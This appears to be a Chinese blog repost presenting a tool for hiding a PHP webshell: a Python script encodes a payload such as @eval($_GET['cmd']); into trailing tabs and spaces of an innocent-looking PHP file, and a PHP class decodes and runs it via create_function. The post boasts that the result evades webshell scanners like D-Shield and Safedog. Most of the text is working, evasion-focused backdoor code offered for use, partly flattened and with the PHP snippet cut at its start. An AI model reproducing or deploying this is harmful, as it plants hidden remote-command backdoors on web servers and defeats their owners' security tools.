【python实现生成隐藏的一句话木马】
如今,各大杀毒软件死死的盯着那几个危险函数不放。但是还有些人喜欢通过检索 webshell 关键字这样批量去找,这就更不可能找到了。那么今天这个 webshell 的原理是什么呢?这个webshell的原理就是:每一行最后都有空格与制表符。\t的数量代表着 ascii 码 16 进制的第一位,空格的数量代表着 ascii 码 16 进制的第二位。然后有个关键的15,其实代表了前 15 行的空白字符组成的是create_function,后面就可以写一句话咯,例如@eval($_GET["pass"]);,每一行写入一个字符即可。执行的时候先读取自身代码之后,按行提取出里面的空格和制表符,提取出隐藏的代码之后执行就完事了。
我们用python制作一个专门插入shell的脚本,并命名为HiddenWebShell.py
import sysdef put_color(string, color): colors = { 'red': '31', 'green': '32', 'yellow': '33', 'blue': '34', 'pink': '35', 'cyan': '36', 'gray': '2', 'white': '37', } return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string))if len(sys.argv) not in [3, 4]: sys.exit( '''[!] usage: python hidden_webshell.py payload filename [output_filename]\n''' ''' [-] example: python {}{}{}'''.format( put_color('hidden_webshell.py', 'white'), put_color(''' 'system("echo \"hacked by benben :)\"");' ''', 'green'), put_color('webshell.php', 'blue') ) )webshell_name = sys.argv[2]hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'exp = sys.argv[1]if not exp.endswith(';'): print('[!] WARN: {} {}'.format( put_color('The payload should end in', 'yellow'), put_color(';', 'cyan') )) print(' [+] Hide webshell') print(' [-] Read from {}'.format(put_color(webshell_name, 'blue'))) print(' [-] Payload is {}'.format(put_color(exp, 'green')))payload = 'create_function' + expwith open(webshell_name, 'r') as fp: raw_php = fp.readlines()for line, content in enumerate(payload): hex_num = hex(ord(content)) tab_num = int(hex_num[2], 16) space_num = int(hex_num[3], 16) hidden = '\t' * tab_num + ' ' * space_num if line < len(raw_php): if raw_php[line].endswith('\n'): raw_php[line] = raw_php[line][:-1] + hidden + '\n' else: raw_php[line] = raw_php[line] + hidden else: raw_php.append(hidden + "\n")with open(hidden_name, 'w') as fp: fp.writelines(raw_php)print('[!] Saved as {}'.format(put_color(hidden_name, 'blue')))print('[!] All done\n\nBye :)')
接着找一个php文件,其中可以写入一些正常的符合php语法的代码:demo.php:
getArrayValue($lines[$i]); if ($i < 15) { $lower .= $value; } else { $higher .= $value; } } $verifyScore = $lower('', "$higher"); $result = $verifyScore(); return $result; } function getArrayValue($result) { preg_match('/([\t ]+)\r?\n?$/', $result, $match); if (isset($match[1])) { $lower = dechex(substr_count($match[1], "\t")); $higher = dechex(substr_count($match[1], " ")); $result = hexdec($lower.$higher); $result = chr($result);print $result; return $result; } return ''; }}$score = new getHigherScore();print $score;
使用python脚本优化demo.php脚本:
python HiddenWebShell.py @eval($_GET['cmd']); demo.php 这样就可以生成一个让人摸不着头脑的php木马文件,内容和demo.php一模一样,但是利用webshellkiller工具、安全狗、D盾是无法识别出来的。
来源地址:https://blog.csdn.net/qq_55213436/article/details/126041153
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341